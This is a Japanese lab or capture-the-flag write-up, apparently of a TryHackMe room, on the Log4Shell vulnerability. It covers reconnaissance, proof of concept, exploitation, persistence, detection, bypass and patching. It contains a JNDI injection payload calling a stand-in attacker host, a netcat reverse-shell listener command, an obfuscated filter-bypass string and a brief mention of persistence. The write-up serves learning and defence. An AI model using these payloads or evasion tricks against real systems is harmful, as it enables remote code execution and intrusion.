
この部屋は、悪名高いLog4jの脆弱性(CVE-2021-44228)、別名Log4Shellを悪用することに基づいています。この脆弱性により、攻撃者は悪意のあるペイロードをログメッセージに注入することでリモートコードを実行できます。
このルームは、悪名高いLog4j脆弱性(CVE-2021-44228)(Log4Shellとも呼ばれる)を悪用することに基づいています。この脆弱性により、攻撃者はログメッセージに悪意のあるペイロードを注入してリモートコードを実行できます。
TASK 1 – CVE-2021-44228 はじめに
このタスクでは、Apache Log4jのLog4Shell脆弱性(CVE-2021-44228)について学習しました。 • Log4jは広く使われているJavaロギングライブラリです。 • この脆弱性は、JNDIルックアップを介したリモートコード実行(RCE)を可能にします。 • 攻撃者は次のようなペイロードを注入できます。 ${jndi:ldap://attacker.com/a} • ログに記録されると、サーバーは攻撃者が制御するサーバーに接続し、悪意のあるコードを実行します。 👉 これは、サニタイズなしでユーザー入力をログに記録することがいかに危険であるかを示しています。
TASK 2 – 偵察
ここでは、ターゲットシステムとの対話を開始しました。 • Webアプリケーションにアクセスしました。 • ログに記録される可能性のある入力フィールドとヘッダーを特定しました。 • アプリケーションがユーザー入力をどのように処理するかを観察しました。 👉 目標: Log4jが使用されている場所とペイロードを注入できる場所を見つける。
TASK 3 – 発見
このステップでは、脆弱性を確認しました。 • 次のようなヘッダーでのペイロード注入をテストしました。 • User-Agent • X-Forwarded-For • アウトバウンド接続や応答を確認しました。 👉 これにより、アプリケーションがLog4Shellに対して脆弱であることが確認できました。
TASK 4 – 概念実証
脆弱性を実証するための動作するPoCを作成しました。 • コールバックを検出するためのリスナー/サーバーをセットアップしました。 • JNDIペイロードを注入しました。 • ターゲットが自分のサーバーにリクエストを行ったことを確認しました。 👉 これにより、リモートでの対話が確認され、脆弱性が悪用可能であることが確認されました。
TASK 5 – 悪用
ここでは、PoCから完全な悪用へと進みました。 • 悪意のあるペイロード(Javaクラスまたはスクリプト)をホストしました。 • JNDI注入を使用してサーバーに強制的に読み込ませました。 • リバースシェルを取得しました。 例: nc -lvnp 4444 👉 リモートコード実行に成功しました。
TASK 6 – 永続化
アクセスを取得した後、継続的なアクセスを確保しました。 • バックドアを作成するか、SSHキーを追加しました。 • 必要に応じてシステム設定を変更しました。 👉 これにより、再起動やセッション喪失後でもアクセスが確保されます。
TASK 7 – 検知
このタスクは攻撃の特定に焦点を当てています。 • Log4jエクスプロイトがログにどのように現れるかを学びました。 • 指標: • ${jndi:ldap://...} パターン • 不審なアウトバウンドLDAP/DNSトラフィック 👉 ブルーチームが悪用の試みを検出するために重要です。
TASK 8 – バイパス
ここでは、攻撃者がフィルターをバイパスする方法を探りました。 • 難読化テクニック: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • 検出を回避するためのペイロードのエンコーディング。 👉 単純なフィルタリングだけでは不十分であることを示しています。
TASK 9 – 緩和策
完全なパッチを当てずにリスクを軽減する方法を学びました。 • JNDIルックアップを無効にする • アウトバウンドネットワーク接続を制限する • WAFルールを使用する 👉 適切なパッチ適用前の一時的な防御。
TASK 10 – パッチ適用
恒久的な修正に焦点を当てました。 • Log4jを以下に更新: • 2.17.0 以降 • 脆弱なクラスを削除: JndiLookup.class 👉 適切なパッチ適用により脆弱性は完全に排除されます。
TASK 11 – クレジットと著者注記
• ルーム作成者への謝辞。 • 学習目標のまとめ。 • Log4Shellの影響に関する最終的な洞察。
最終的な考察
このルームは、以下について完全な理解を与えてくれました。 • 現実世界の重大な脆弱性がどのように機能するか • 攻撃者がどのように段階的に悪用するか • 防御側がどのように検出し防止するか 👉 これは、サイバーセキュリティ史上最も影響力のある脆弱性の一つについての素晴らしい実践的経験でした。